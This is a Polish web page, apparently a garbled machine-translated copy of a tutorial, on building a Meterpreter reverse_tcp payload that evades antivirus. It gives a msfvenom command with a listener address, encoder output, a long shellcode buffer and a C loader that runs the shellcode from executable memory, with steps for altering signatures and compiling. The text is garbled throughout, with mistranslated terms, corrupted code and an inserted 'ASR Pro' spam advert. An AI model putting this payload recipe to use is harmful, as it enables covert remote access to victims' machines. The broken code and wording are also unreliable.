Table of Contents
Oto kilka prostych metod, które pomogą Ci ominąć program antywirusowy Meterpreter.
Zaktualizowano
g.Antywirusowe metody omijania Utwórz nowy ładunek lub cokolwiek innego szelkod, który generuje nową sygnaturę, która może nigdy nie znajdować się w zestawie narzędzi antywirusowych. Zaciemnianie (można je również cofnąć) i może zaszyfrować Twój ładunek w czasie wykonywania, więc wiele osób odszyfruje go w locie, nie mówiąc już o wstrzyknięciu go do pamięci.
g.Antywirus
Unikanie jest często niedocenianym działaniem, które może pomóc lub przerwać próbę penetracji. Nowoczesne produkty antywirusowe mogą z łatwością wykrywać liczniki, a tym samym ładunki, i mogą oszukać pentestera, który ma wrażenie, że jest mało prawdopodobne, aby włamał się do systemu.
Aby zwiększyć nasze ogólne wykorzystanie w oparciu o szybkość, utworzymy ładunek multimetru narzędziowego reverse_tcp.
TL; DR
Uzyskamy wystarczającą ilość szelkodu dla msfvenom, zakodujemy go, wstawimy do szablonu etykiety projektu i dostarczymy zwykle skompilowany plik binarny, dostarczając jednocześnie niestandardowe ładunki za pomocą Metasploit.
Kod powłoki systemu Windows: X86 czy X64?
Kilka lat szczególne pliki binarne x64 często zawieszały się nad Windows Defenderem, jednak produkty AV znacznie się poprawiły i zaczynają badać x64 meterp payloadsreter, który robimy przetestowany. Bardzo niewiele enkoderów obsługuje szelkod x64, co dodatkowo ogranicza większość zakresu w celu tworzenia ukrytych ładunków. Podczas naszych dzisiejszych testów odkryłem, że budowanie ładunków x86 przy użyciu shikata_ga_nai przetrwało największą próbę czasu i nadal może ominąć wszystkie silniki AV.
Miernik ładunku: czy to prawda?
Czy Meterpreter jest wykrywany przez program antywirusowy?
Nowoczesne produkty antywirusowe mogą z łatwością wykrywać ładunki kontrujące i mogą doprowadzić autora do błędnego przekonania, że system bez wątpienia nie jest uważany za podatny na ataki.
Możesz wyświetlić zakres ładunków, uruchamiając msfvenom -l payloads
. Wtedy prawdopodobnie użyjemy nieuczciwego ładunku reverse_tpc:
windows / meterpreter i reverse_tcp Obecnie wstrzykuje bibliotekę DLL serwera Meterpreter za pośrednictwem ładunku typu Reflective Dll Injection (pośrednie). Przywróć komunikację podczas korzystania z atakującego
Uwaga. Nasz ulubiony ładunek windows / meterpreter / reverse_tcp
różni się nieco od ładunku windows - meterpreter_reverse_tcp
. Drugi wskazuje -
, że ładunek jest gotowy, a następnie po prostu ponownie łączy się z naszym menedżerem, który dostarczy 100% ładunku meterpretera.
Koder Shellcode
Możesz wyświetlić wszystkie kodery dostępu, aktywując msfvenom -l Encoder
. Przez większość czasu osobiście uzyskuję dobre wyniki z x86 w porównaniu z shikata_ga_nai
z liczbą odnoszącą się do wersji.
x86 / shikata_ga_nai doskonały polimorficzny koder sprzężenia zwrotnego XOR
Generuj kod opakowania za pomocą Msfvenom
Teraz zamierzam użyć msfvenom do wyeksportowania ładunku reverse_tcp w zakodowanym szelkodzie. Będziesz musiał zmienić adres IP i port najbardziej powiązanego odbiornika. Możesz być również zainteresowany zmianą liczby wersji ( -i 6
), użycie do 25 powinno być wypróbowane i prawdziwe w większości sytuacji:
Zaktualizowano
Czy masz dość powolnego działania komputera? Denerwują Cię frustrujące komunikaty o błędach? ASR Pro to rozwiązanie dla Ciebie! Nasze zalecane narzędzie szybko zdiagnozuje i naprawi problemy z systemem Windows, jednocześnie znacznie zwiększając wydajność systemu. Więc nie czekaj dłużej, pobierz ASR Pro już dziś!
rr msfvenom -p windows / meterpreter / reverse_tcp LHOST równa się 10.0.0.5 LPORT = 9090 -e x86 i shikata_ga_nai -i 8 -free pc> shell.c
< /pre>W wyniku tego niesamowitego wiersza, teraz interesuje nas wiersz
Waga ładunku:
, a w tym przykładzie utrzymujemy 557 bajtówCzy antywirus może wykryć ładunek Metasploit?
Możesz pomyśleć, że brokerzy AV mają przewagę, którą zawdzięczasz większości open source Metasploit, ale w tym przypadku nie ma co do tego wątpliwości. Rzeczywiście, logiczną reakcją jest tak, ponieważ Metasploit jest w dużej mierze otwartym pożyczkodawcą, wszystkie programy antywirusowe powinny wykrywać i blokować moduły szablonów stron internetowych generowane przez Metasploit, gdy wykonują tę pracę.[-] Nie wybrano platformy, Msf :: Moduł :: Platforma :: Wybrano system Windows pobrany z ładunku [-] Nie wybrano Arch, Arch: x86 wybrane podczas ładowania 8 iteracji w oparciu o pomyślne x86 na rozmiar shikata_ga_naix86 / shikata_ga_nai od 368 (iteracja równa 0) x86 / shikata_ga_nai pomyślny pomiar pierwotnie z 395 (iteracja = 1) x86 / shikata_ga_nai produktywny rozmiar ohm z 422 (lub iteracja = 2) rozmiar z 449 (iteracja = 3) x86 na shikata_ga_ga powiódł się z rozmiarem 476 (iteracja implikuje 4) rozmiar x86 / shikata_ga_nai pomyślnie przewyższa 503 (iteracja = 5) rozmiar x86 / shikata_ga_nai triumfował z 530 (iteracja = 6) x86 dominuje rozmiar shikata_ga_nai 557 (iteracja.) = 7) x86 - shikata_ga_nai wybrane w rozmiarze końcowym 557 Rozmiar ładunku: 557 bajtów Końcowy rozmiar pliku c: 2366 bajtów
unsigned char buf [], jest równy "xdbxddxd9x74x24xf4x5ax31xc9xbbx3bxe2xb0xc9xb1" "x85x31x5ax19x03x5ax19x83xeaxfcxd9x17x0dxc1xab" "x37x0ax09x07x1exa7x89x53xfbx61x1bx2ax82x40xf1" "x59xf8x61x01x62x94x74xe8x99x05x5bx51xe8x63xe4" "x2ax87xccxeaxfbx81x45x6bx9axbdx83x08x50xdex32" "x65x18x9cx35x5bx77x9ax64xeax8fxfax13x1fx28xe1" "xb9xfdxe2x22xbax07xd5xe0x74xeaxb8x9cx81x28x24" "x11x81x75x4cxcax2bx53x3fx7exa4x88xf8xaax76x43" "x4dxecx6dxcaxf9xd8x3fxf6x11xdex11xc3x16x02xa5" "x04x32x29x21xc9x4exdfxa8xcfxdcxd7x81x91xcex08" "x3bxf8x72xc1xcax3cx89xeexcdx89xabxa2xcfx82x5d" "xdfx24xc9xdbx19x83xa6x73xffxa9xe4xcex23x0exf2" «x5ax1bx49x6fx5cx32xa1x17xc6x6ax83xfbxb1x61x3c "" x63x1fx31xa8x1ex53x68x3axe0xe5x17xb6x02x37x3e "" xa2xbbxb0xe1xb8x54x73xf2x17xc6xadxe2x0dxb0x84 "" x56x54x82x23x79x1fx4exeex94x8fx3axe1x10x06x45 "" xf9xb9x8ax65xfdx02xc9x07xcexb4x61x92x74xdfx14 "" x47x19x51xe4x9dxd8xa8x13xbfx50x5bxf9x1ex2dx48 "" x8ex2fx12x43x44x1fx9axe1x53xffx0bx33xd8x66xbc "" xf2xfcxc9x51xbdx2ax19xe9xd5xbcx9ex5fx7 2xcfx 8 "" x81x42x1cxd8x0ex8cxedx75xfe x7ax5dx72xffx81x09 "" xa4x1bx91x74x31x32xc5xd3x7bxd0xd3x58x2ax61xc0 "" xddx2axdcxe5x84x8dx75x99xf8x66xccx72xdcx55x98 "" x40xcfxc3xcfxdbx02x61x0cxd9xa4xf0x20xcfxdbx3f "" x1cx54x05x4dxe6xf1x3axd2x5bx0cx4bx52x6ex0cxfe "" xeex89x4ex4cx17x55xc7x42x3exfdx8axafxdfxe5x69 "" xc9x10x4 ; 8xc6xabx85x41x23x4axbexc4x85x27x5ex74 “” xa8xc3x9bx3fx24xccx4ex0fxe0x54x26x0ax95x12x97 “” x61x8dxa8x90x95x1dx40x29x0cx9axf8xcfx35x2fx64 “” x27xc4x75x2ex13x7ax12x7cx46x83xd6xcfx18x41x1e “” x03x74xb6xc7x90x7ex22x72xfcx59x67x84xb5xe6x3e “” x47xcdxbbxa2xabxa3xb4xfexc2x6fx38x49xf9xecx59 “” x81x15x7bx10xc0x3bx05xe1x5cxacx08x85x2fx3fx90 “” x29x2excdxaax4ex6fx9fx9cxe9x97x96x3fxb0xd4xc1 “” x64x22x20xe5xdcx5ax0fx7fx77x37xd1x51x77xa4x10 “” xedx58xd0xbbx62xa9x8fx30x8exa1x1dx0dx73x3dx3f “” xcbxf4xfex06x81xc6xf2x03xc7x22xf0xebx0ex61xe6 “” x5cxc5 “Utwórz projekt programu Visual Studio
Stwórz własny model
#include #include unsigned char const payload [] oznacza ""; size_t siła = 0; int main (int argc, char ** argv) char * kod; printf ("To jest dosłownie losowy ciąg! n"); Kod stał się (char *) VirtualAlloc (NULL, rozmiar, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy (kod, ładunek, rozmiar); ((nieprawidłowy kod) (); wracaj (0); 1: Dodaj mnogość „rozmiaru ładunku” osoby (nie używaj „ostatecznej wysokości i szerokości pliku c”), począwszy od momentu wykonania ładunku. W tym przypadku było to 557 bajtów:
- Zastąp symbol zastępczy ładunku [] określonym wygenerowanym kodem opakowania w buf []:
- Dodaj serię losowych tekstów, zupełnie nie potrzebujemy tych samych podpisów!
- Wybierz wersję z menu rozwijanego kompilacji:
- Wciśnij Ctrl + B, a Twój użyteczny nudeWęzeł naprawdę potrzebuje tego, co pomoże stworzyć!